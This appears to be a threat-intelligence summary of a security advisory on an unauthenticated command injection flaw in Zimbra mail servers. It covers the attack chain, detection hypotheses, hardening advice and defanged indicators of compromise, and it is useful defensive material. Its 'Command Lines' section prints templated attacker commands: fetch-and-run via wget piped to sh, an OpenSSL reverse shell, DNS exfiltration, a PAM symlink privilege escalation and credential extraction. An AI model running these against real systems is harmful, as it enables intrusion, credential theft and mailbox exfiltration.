9 mincritical
Unauthenticated command injection on internet-facing mail servers: tracking CVE-2026-73570 | Microsoft Security Blog
CVE-2026-73570 enables unauthenticated command injection on Zimbra mail servers via SNMP notifications, leading to webshell deployment, root privilege escalation, credential theft, and mailbox exfiltration. Exploitation requires the optional zimbra-snmp package and enabled SNMP notifications. Attackers deploy JSP webshells, escalate to root via PAM symlink abuse, harvest Zimbra authentication keys, and move laterally using Zimbra's SSH identity. Custom Go implants provide persistent access with SOCKS5 proxying, while a dedicated exfiltration tool dumps mailbox and LDAP data.
Sens:■ Immediate
IOCs28
8sha2566domain6file path6ip1crypto address1cve
Detection / Hunteropenrouter
Immediate Actions
defender takeaway
- Patch all Zimbra instances to version 10.1.20 or later immediately
- Uninstall zimbra-snmp package and disable SNMP notifications where patching must wait
- Restrict SNMP and SMTP access to trusted hosts only
- Treat any reverse-shell alert on mail servers as a priority incident
Key Takeaways
- Patch available in Zimbra 10.1.20 (July 20, 2026); CVE disclosed August 13, 2026
- Exploitation requires optional zimbra-snmp package installed and SNMP notifications enabled
- PAM symlink abuse via zmmailboxdmgr grants unrestricted NOPASSWD sudo to zimbra account
- Custom Go implants zimdown2 and zimclient2 provide SOCKS5 proxying and WebSocket C2
- Base blockchain smart contract used as dead drop resolver for encrypted command polling
Attack Chain
- Initial Access: Crafted SMTP request injects shell commands via Zimbra SNMP notification processing
- Execution: JSP webshells deployed to webroot; payloads downloaded via wget/curl; reverse shells established
- Privilege Escalation: PAM symlink abuse via zmmailboxdmgr grants root through pam_exec and sudoers modification
- Credential Access: zmlocalconfig and authenticated LDAP queries extract service passwords and auth token keys
- Lateral Movement: Zimbra SSH identity used to access peer nodes; rsync propagates webshells and payloads
- Exfiltration: Mailbox data archived and transferred via AzCopy to Azure Blob storage
Affected Systems
- Zimbra Collaboration Suite prior to 10.1.20
- Linux servers with zimbra-snmp package installed
- Internet-facing Zimbra servers with SNMP notifications enabled
- Zimbra mailbox and MTA cluster nodes
Vulnerabilities (CVEs)
| CVE | Product | Severity | Description |
|---|---|---|---|
| CVE-2026-73570 | Zimbra Collaboration Suite SNMP notification path | Critical | Unauthenticated OS command injection via crafted SMTP request into SNMP trap processing. |
Detection Availability
- Published: KQL
- Platforms: Microsoft Defender XDR Advanced Hunting
Seven KQL advanced hunting queries covering SNMP injection, JSP writes, memory-backed execution, persistence, DNS callbacks, and collection activity.
Detection Engineering Assessment
Hypotheses are starting points derived from the article, not findings about your environment; validate against your own telemetry.
| Dimension | Rating | Rationale |
|---|---|---|
| EDR Visibility | High | Process lineage, file events, and network connections fully captured across all observed attack paths. |
| Network Visibility | Medium | HTTP/HTTPS callbacks observed but TLS and WebSocket channels limit payload inspection; DNS callbacks visible. |
| Detection Difficulty | Moderate | Multiple behavioral detection paths exist but memory-backed execution and masquerading require correlation to distinguish from legitimate Zimbra administration. |
Hunting Hypotheses
| Hypothesis | Telemetry | Stage | FP Risk |
|---|---|---|---|
| Perl running swatchdog scripts spawning Unix shells containing snmptrap commands with shell metacharacters indicates CVE-2026-73570 exploitation (T1190, T1059.004). | Process creation with parent perl and snmptrap in command line | Initial Access | Low — legitimate snmptrap invocations lack shell metacharacters |
| JSP files written to Zimbra webapp directories by shell, curl, wget, or Perl processes indicate webshell deployment (T1505.003). | File write events in jetty_base or mailboxd webapps paths | Persistence | Medium — legitimate Zimbra updates may write JSP files |
| Anonymous memfd_create processes with Zimbra exploit ancestry or known campaign process context indicate memory-backed execution (T1620). | Process events with memfd: or /proc/self/fd/ in path | Defense Evasion | Low — memfd execution is rare in normal Zimbra operations |
| zmlocalconfig or ldapsearch executed by shell sessions outside maintenance windows indicates credential harvesting (T1552.001). | Process events with zmlocalconfig or ldapsearch command line | Credential Access | Medium — legitimate admin scripts invoke these tools |
Required Log Sources
- Linux process creation events
- Linux file write events
- DNS query logs
- SMTP receive logs
- Systemd journal logs
- SSH auth logs
Key Behavioral Indicators
- Perl swatchdog script spawning shell with snmptrap and shell metacharacters
- JSP files written by non-Java processes to Zimbra webapp directories
- mkfifo and openssl s_client executed in Zimbra process context
- Symlinks created from Zimbra log files to /etc/pam.d/ entries
- touch -r commands matching malicious files to legitimate systemd units
- zmlocalconfig -s executed by non-administrator interactive shell sessions
Control Gaps
- SNMP notification path lacks input sanitization before shell invocation
- Zimbra service account has excessive filesystem and sudo permissions
- SSH trust between Zimbra nodes enables lateral movement without re-authentication
- No file integrity monitoring on systemd unit files or PAM configuration
- Webroot directory permissions allow write access by service account
False Positive Assessment
Medium — legitimate Zimbra maintenance and administrative activity can trigger similar process patterns; queries require tuning for approved administrative workflows and scheduled maintenance windows.
Recommendations
Suggestions to evaluate against your own environment, tooling, and incident-response procedures — not directives.
Infrastructure Hardening
- Rotate all Zimbra authentication secrets including zimbraPreAuthKey and zimbraAuthTokenKey
- Review systemd units for unexpected ownership, enablement, or timestamp changes
- Inspect all Zimbra application directories for unexpected JSP files across every mailbox node
- Confine Zimbra service accounts with namespace, seccomp, or AppArmor controls
User Protection
- Enable Microsoft Defender for Endpoint real-time protection and behavior monitoring on Linux servers
- Block known C2 IPs and domains at network egress controls
- Monitor for ZB73570 User-Agent string in HTTP proxy logs
Security Awareness
- Train mail server administrators to recognize SNMP injection indicators in process logs
- Establish change management procedures for Zimbra service configuration and systemd unit files
MITRE ATT&CK Mapping
MITRE ATT&CK Mapping25 techniques
Tactic
Reconnaissance
Tactic
Initial Access
Tactic
Execution
Tactic
Persistence
Tactic
Privilege Escalation
Tactic
Credential Access
Tactic
Lateral Movement
Tactic
Collection
Tactic
Command and Control
Tactic
Exfiltration
Tactic
Impact
Plain-Language Summary
Attackers found a way to run commands on Zimbra email servers without needing a password by sending specially crafted messages that abuse the server's monitoring feature. They used this to install hidden backdoors, steal email and login data, and move between servers in the same organization. Organizations running Zimbra should update to version 10.1.20 immediately and disable SNMP monitoring if patching must wait.
Additional IOCs
- Ips:
3[.]209[.]137[.]175- Secondary C2 during rotated-infrastructure event130[.]94[.]36[.]145- HTTP exfiltration target for host reconnaissance data
- Domains:
tls[.]psk1zim[.]abrdns[.]com- zimclient2 TLS command channel on port 443wslogzimbra[.]linkpc[.]net- zimdown2 installer WebSocket status reporting48c9f0ccaf[.]ddns[.]bypass[.]eu[.]org- DNS callback subdomain for environment data exfiltrationwsweb03[.]blob[.]core[.]windows[.]net- Azure Blob exfiltration target for mailbox archive
- Urls:
wsweb03.blob.core.windows.net/log/windows.log- Azure Blob SAS URL target for mailbox exfiltration attempt
- File Hashes:
aea991f694911e321b0ab97534f2ad0291c392c0a43dabff664c563618bd036d(SHA256) - build_amd64 cryptominer payload6ab7de2509038edf580aef6229c1c3db17f4da8f2d7d940818faf617d1938244(SHA256) - agent2.sh lightweight shell downloaderbf28f38122bf20d5fac969cc414daa6a890cdea872d389ca93d2092b6b7773cf(SHA256) - zimdown2 Go installer binary65A7576C389326B6CDF9C993D0BE6E5D50FED9655D1CDF2A3A50F2C21C8EC435(SHA256) - Looptik hacktool, GitHub-hosted LPE toolkit22EF852F6EBC39EE71235B90648B4B200B385C47D25C79545986493F8C70DB69(SHA256) - Loader masquerading as systemd-resolved518FE65DD349180191D9B258AB24876AAED6613CD657D0B626D1FC24E03A22B6(SHA256) - In-memory stage 2 Base-chain command agent
- File Paths:
/opt/zimbra/jetty_base/webapps/zimbra/public/info.jsp- JSP webshell dropped via chunked SNMP temp files/opt/zimbra/mailboxd/webapps/zimbra/public/wt.jsp- JSP webshell deployed via inline base64 decode/usr/sbin/zimlog- Malicious binary masquerading as Zimbra log component/etc/systemd/system/zimlog.service- Malicious systemd service with timestomped timestamps/etc/sudoers.d/81_metric- Sudoers entry granting NOPASSWD: ALL to zimbra account/opt/zimbra/final.tar.gz- Staged mailbox backup archive for exfiltration
- Command Lines:
- Purpose: Initial command execution via SNMP trap with shell metacharacters | Tools:
snmptrap,sh| Stage: Initial Access |snmptrap ... -c - Purpose: Deploy JSP webshell by decoding base64 payload from staged temp files | Tools:
chmod,cat,base64,gunzip| Stage: Persistence |chmod u+w <webroot>; cat <tmp> | base64 -d | gunzip -c > <path>.jsp - Purpose: Download and execute payload with fallback download methods | Tools:
wget,curl,sh| Stage: Execution |wget -qO- <url> | sh - Purpose: Exfiltrate host data via DNS callbacks to attacker subdomain | Tools:
nslookup| Stage: Reconnaissance |nslookup $(<cmd>).<domain> - Purpose: Privilege escalation via PAM symlink to sudo configuration | Tools:
ln,mv| Stage: Privilege Escalation |ln -s /etc/pam.d/sudo <log_path> - Purpose: Establish encrypted reverse shell via named pipe and OpenSSL | Tools:
mkfifo,openssl,sh| Stage: Command and Control |mkfifo /tmp/s; openssl s_client -quiet -connect <c2> - Purpose: Extract Zimbra service credentials from local configuration | Tools:
zmlocalconfig| Stage: Credential Access |zmlocalconfig -s <key> - Purpose: Lateral movement to peer Zimbra nodes via SSH identity | Tools:
ssh| Stage: Lateral Movement |ssh -i <key> -o BatchMode=yes -o StrictHostKeyChecking=no <peer> - Purpose: Timestomp malicious files to match legitimate system services | Tools:
touch| Stage: Defense Evasion |touch -r <legit_service> <malicious_file>
- Purpose: Initial command execution via SNMP trap with shell metacharacters | Tools:
- Other:
ZB73570- CVE-specific User-Agent string used in HTTP probing
Showing defanged values
- crypto_address0x25bdA7Feb3553995AD68a9A8Ed8c731b73a71586Base mainnet contract used as dead drop resolver
- cveCVE-2026-73570Unauthenticated OS command injection via crafted SMTP request into SNMP trap processing.
- domain48c9f0ccaf[.]ddns[.]bypass[.]eu[.]orgDNS callback subdomain for environment data exfiltration
- domainpsk1zim[.]abrdns[.]comzimclient2 WebSocket and raw TCP command channel
- domaintls[.]psk1zim[.]abrdns[.]comzimclient2 TLS command channel on port 443
- domaintranszimbra[.]linkpc[.]netDynamic-DNS dropper C2 serving agent2.sh and zimdown2
- domainwslogzimbra[.]linkpc[.]netzimdown2 installer WebSocket status reporting
- domainwsweb03[.]blob[.]core[.]windows[.]netAzure Blob exfiltration target for mailbox archive
- file_path/etc/sudoers.d/81_metricSudoers entry granting NOPASSWD: ALL to zimbra account
- file_path/etc/systemd/system/zimlog.serviceMalicious systemd service with timestomped timestamps
- file_path/opt/zimbra/final.tar.gzStaged mailbox backup archive for exfiltration
- file_path/opt/zimbra/jetty_base/webapps/zimbra/public/info.jspJSP webshell dropped via chunked SNMP temp files
- file_path/opt/zimbra/mailboxd/webapps/zimbra/public/wt.jspJSP webshell deployed via inline base64 decode
- file_path/usr/sbin/zimlogMalicious binary masquerading as Zimbra log component
- ip117[.]107[.]25[.]243Dropper C2 serving de.sh payload
- ip130[.]94[.]36[.]145HTTP exfiltration target for host reconnaissance data
- ip192[.]255[.]193[.]111Cryptominer C2 serving build_amd64 payload
- ip193[.]42[.]40[.]135Organization-wide reverse-shell and recon C2
- ip3[.]209[.]137[.]175Secondary C2 during rotated-infrastructure event
- ip45[.]32[.]30[.]235Reverse shell C2, earliest confirmed in campaign
- sha25622ef852f6ebc39ee71235b90648b4b200b385c47d25c79545986493f8c70db69Loader masquerading as systemd-resolved
- sha256518fe65dd349180191d9b258ab24876aaed6613cd657d0b626d1fc24e03a22b6In-memory stage 2 Base-chain command agent
- sha25665a7576c389326b6cdf9c993d0be6e5d50fed9655d1cdf2a3a50f2c21c8ec435Looptik hacktool, GitHub-hosted LPE toolkit
- sha2566ab7de2509038edf580aef6229c1c3db17f4da8f2d7d940818faf617d1938244agent2.sh lightweight shell downloader
- sha256aea991f694911e321b0ab97534f2ad0291c392c0a43dabff664c563618bd036dbuild_amd64 cryptominer payload
- sha256b594a42b8f1c6f090327bb9a3361c2d3515537fb7ac8da6b9061b9a3f330e159zimclient2 remote-access agent payload
- sha256bf28f38122bf20d5fac969cc414daa6a890cdea872d389ca93d2092b6b7773cfzimdown2 Go installer binary
- sha256dee5af1c0f76b45d28bafd6e60c07bb8e391d98addf81ef8f13d073acdb3c48ade.sh shell dropper script